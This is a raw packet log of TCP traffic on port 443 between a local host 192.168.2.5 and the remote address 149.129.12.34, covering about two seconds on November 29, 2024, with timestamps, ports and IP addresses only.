Nov 29, 2024 15:45:24.620115042 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:24.620186090 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:24.620193958 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:24.620234966 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:24.625248909 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:24.625266075 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:24.625315905 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:24.625324011 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:24.625375986 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:24.629355907 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:24.630850077 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:24.630865097 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:24.630918980 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:24.630927086 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:24.630964994 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:24.636955976 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:24.850727081 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:24.850744963 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:24.850792885 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:24.850995064 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:24.851021051 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:24.851155043 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:24.856328011 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:24.856354952 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:24.856406927 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:24.856415987 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:24.856451035 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:24.856467009 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:24.860879898 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:24.860904932 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:24.860980988 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:24.860989094 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:24.861028910 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:24.866336107 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:24.866358042 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:24.866391897 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:24.866401911 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:24.866436005 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:24.866442919 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:24.871798038 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:24.871814013 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:24.871860981 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:24.871869087 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:24.871896029 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:24.871915102 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:24.878120899 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:24.878137112 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:24.878199100 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:24.878209114 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:24.878242970 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:24.882639885 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:24.882656097 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:24.882700920 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:24.882708073 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:24.882733107 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:24.882751942 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:24.887516022 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:24.887537003 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:24.887599945 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:24.887608051 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:24.887651920 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:25.061660051 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:25.061686039 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:25.061768055 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:25.061794996 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:25.061836958 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:25.067181110 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:25.067198038 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:25.067457914 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:25.067466974 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:25.067507029 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:25.072607994 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:25.072650909 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:25.072726011 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:25.072735071 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:25.072776079 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:25.077493906 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:25.077514887 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:25.077615976 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:25.077629089 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:25.077666998 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:25.083097935 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:25.083116055 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:25.083208084 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:25.083215952 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:25.083256960 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:25.088269949 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:25.088293076 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:25.088381052 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:25.088392019 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:25.088432074 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:25.093914032 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:25.093930960 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:25.094000101 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:25.094007969 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:25.094048977 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:25.099497080 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:25.099522114 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:25.099598885 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:25.099606991 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:25.099646091 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:25.104813099 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:25.272713900 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:25.272741079 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:25.272803068 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:25.272825956 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:25.272839069 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:25.272867918 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:25.278184891 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:25.278203964 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:25.278270006 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:25.278279066 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:25.278316021 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:25.283073902 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:25.283092022 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:25.283149958 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:25.283159971 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:25.283195972 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:25.288564920 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:25.288585901 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:25.288672924 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:25.288685083 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:25.288727999 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:25.293375969 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:25.294112921 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:25.294131041 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:25.294188976 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:25.294195890 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:25.294234991 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:25.299293041 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:25.299318075 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:25.299364090 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:25.299371004 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:25.299398899 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:25.299417019 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:25.304923058 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:25.304944038 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:25.304997921 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:25.305006981 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:25.305037022 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:25.305056095 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:25.309798956 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:25.309815884 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:25.309874058 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:25.309883118 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:25.309921980 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:25.421732903 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:25.483127117 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:25.483159065 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:25.483324051 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:25.483340025 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:25.483390093 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:25.488600969 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:25.488619089 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:25.488692045 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:25.488699913 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:25.488739014 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:25.494096041 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:25.494112015 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:25.494204044 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:25.494213104 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:25.494251966 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:25.499064922 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:25.499083042 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:25.499155045 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:25.499164104 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:25.499205112 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:25.504884005 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:25.504900932 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:25.504967928 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:25.504976034 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:25.505013943 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:25.509800911 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:25.509819984 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:25.509881973 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:25.509891033 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:25.509927988 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:25.515429020 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:25.515444994 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:25.515506029 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:25.515513897 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:25.515558958 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:25.520880938 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:25.520896912 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:25.520941973 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:25.520948887 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:25.520987034 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:25.693814039 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:25.693844080 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:25.693893909 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:25.693907022 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:25.693958998 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:25.699470997 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:25.699495077 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:25.699533939 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:25.699539900 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:25.699579954 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:25.704781055 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:25.704802036 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:25.704840899 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:25.704847097 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:25.704891920 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:25.704900026 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:25.710357904 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:25.710390091 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:25.710429907 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:25.710436106 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:25.710460901 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:25.710479021 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:25.715544939 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:25.715575933 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:25.715615034 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:25.715621948 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:25.715666056 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:25.720459938 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:25.720494032 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:25.720524073 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:25.720531940 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:25.720592976 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:25.720592976 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:25.726056099 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:25.726082087 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:25.726100922 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:25.726170063 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:25.726175070 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:25.726212025 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:25.731566906 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:25.731585979 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:25.731641054 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:25.731647968 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:25.731688023 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:25.799674034 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:25.904884100 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:25.904908895 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:25.905004978 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:25.905019999 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:25.905065060 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:25.910433054 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:25.910459042 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:25.910559893 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:25.910567045 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:25.910609961 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:25.915425062 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:25.915447950 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:25.915498018 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:25.915505886 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:25.915550947 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:25.920878887 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:25.920907974 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:25.920949936 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:25.920957088 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:25.920994997 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:25.921011925 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:25.926409006 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:25.926435947 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:25.926506042 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:25.926513910 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:25.926548004 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:25.926567078 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:25.931591034 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:25.931619883 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:25.931665897 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:25.931674004 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:25.931710958 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:25.931719065 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:25.937077045 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:25.937097073 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:25.937167883 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:25.937190056 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:25.937235117 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:25.942042112 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:25.942061901 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:25.942111969 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:25.942123890 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:25.942142010 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:25.942163944 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:26.043962955 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:26.115972042 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:26.116000891 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:26.116097927 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:26.116111994 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:26.116153955 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:26.120735884 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:26.120754957 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:26.120814085 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:26.120821953 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:26.120858908 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:26.126372099 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:26.126391888 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:26.126446962 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:26.126456022 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:26.126486063 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:26.126497984 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:26.131980896 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:26.131999969 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:26.132082939 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:26.132096052 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:26.132133007 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:26.137037992 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:26.137053967 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:26.137114048 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:26.137121916 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:26.137161970 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:26.140362978 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:26.142611027 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:26.142627001 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:26.142683983 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:26.142692089 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:26.142726898 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:26.147480965 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:26.147495985 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:26.147562027 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:26.147569895 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:26.147625923 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:26.153076887 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:26.153093100 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:26.153168917 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:26.153177023 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:26.153218985 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:26.205426931 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:26.326301098 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:26.326325893 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:26.326386929 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:26.326405048 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:26.326458931 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:26.331762075 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:26.331779957 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:26.331818104 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:26.331842899 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:26.331856012 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:26.331883907 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:26.336694002 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:26.336709976 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:26.336749077 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:26.336757898 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:26.336781979 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:26.336802959 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:26.342276096 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:26.342298031 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:26.342344046 CET	49704	443	192.168.2.5	149.129.12.34
